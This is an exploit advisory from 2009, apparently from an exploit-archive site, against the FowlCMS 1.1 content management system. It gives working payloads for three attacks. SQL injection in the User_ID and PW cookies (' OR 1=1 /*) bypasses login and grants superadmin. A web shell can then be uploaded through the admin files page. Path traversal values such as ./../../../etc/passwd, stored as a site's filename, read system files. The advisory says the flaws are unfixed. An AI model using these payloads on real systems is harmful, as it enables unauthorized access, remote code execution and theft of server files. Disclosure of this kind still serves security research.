|
|
-------------------------------------------------------
MULTIPLE REMOTE VULNERABILITIES--FOWLCMS 1.1-->
-------------------------------------------------------
-----------------
CMS INFORMATION:
-----------------
-->WEB: https://sourceforge.net/projects/fowlcms/
-->DOWNLOAD: https://sourceforge.net/projects/fowlcms/
-->DEMO: N/A
-->CATEGORY: CMS / Portals
-->DESCRIPTION: FOWL is not only a generic term for birds breeded as farm animals,
but also a CMS (Content Management System)...Use for: Blog Private homepage.
-->RELEASED: 2009-04-15
-------------------
CMS VULNERABILITY:
-------------------
-->TESTED ON: firefox 3
-->DORK: N/A
-->CATEGORY: AUTH-BYPASS(INSECURE-COOKIE|SQLi)/SHELL-UPLOAD/LFI
-->AFFECT VERSION: 1.1
-->Discovered Bug date: 2009-04-22
-->Reported Bug date: 2009-04-22
-->Fixed bug date: Not fixed
-->Info patch: Not fixed
-->Author: YEnH4ckEr
-->mail: y3nh4ck3r[at]gmail[dot]com
-->WEB/BLOG: N/A
-->COMMENT: A mi novia Marijose...hermano,cu=F1ada, padres (y amigos xD) por su apoyo.
-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)
///////////////////////////////////////////////////////
AUTHENTICATION BYPASS (INSECURE COOKIE HANDLING/SQLi):
//////////////////////////////////////////////////////
-----
POC:
-----
Add cookies:
User_ID= xXx' [SQL] /*
PW=xXx
Or...
User_ID=xXx
PW=xXx' [SQL] /*
Both are injectable.
---------
EXPLOIT:
---------
User_ID= xXx' OR 1=1 /*
PW=xXx
OR...
User_ID=xXx
PW=xXx' OR 1=1 /*
Superadmin account!
**************************************************************************
When we are superadmin, we can exploit other attacks...(follow reading).
**************************************************************************
////////////////////////////
SHELL UPLOAD VULNERABILITY:
///////////////////////////
http://[HOST]/[HOME_PATH]/index.php?site=admin&action=files
Here we upload our shell. (Use a reliable path, ex: test)
Then, if you go to the link:
http://[HOST]/[HOME_PATH]/[PATH-SHELL]/shell.php
////////////////////////////
LOCAL FILE INCLUSION (LFI):
///////////////////////////
-----
PoC:
-----
Sites are stored in DB, but the administration panel allows to change sites (del/modify) (below link)
http://[HOST]/[HOME_PATH]/index.php?site=admin&action=sites
There, we change:
./../../../../boot.ini --> column: Dateiname
Something (signup for ex.) --> column: Alias
Or...
./../../../etc/passwd --> column: Dateiname
Something (signup for ex.) --> column: Alias
Then, we go to:
http://[HOST]/[HOME_PATH]/index.php?site=[Alias]
We can see the boot.ini or passwd files.
---------
EXPLOIT:
---------
=09
changing the "signup" alias for the file that you want.
http://[HOST]/[HOME_PATH]/index.php?site=signup
Exploited!
That's all!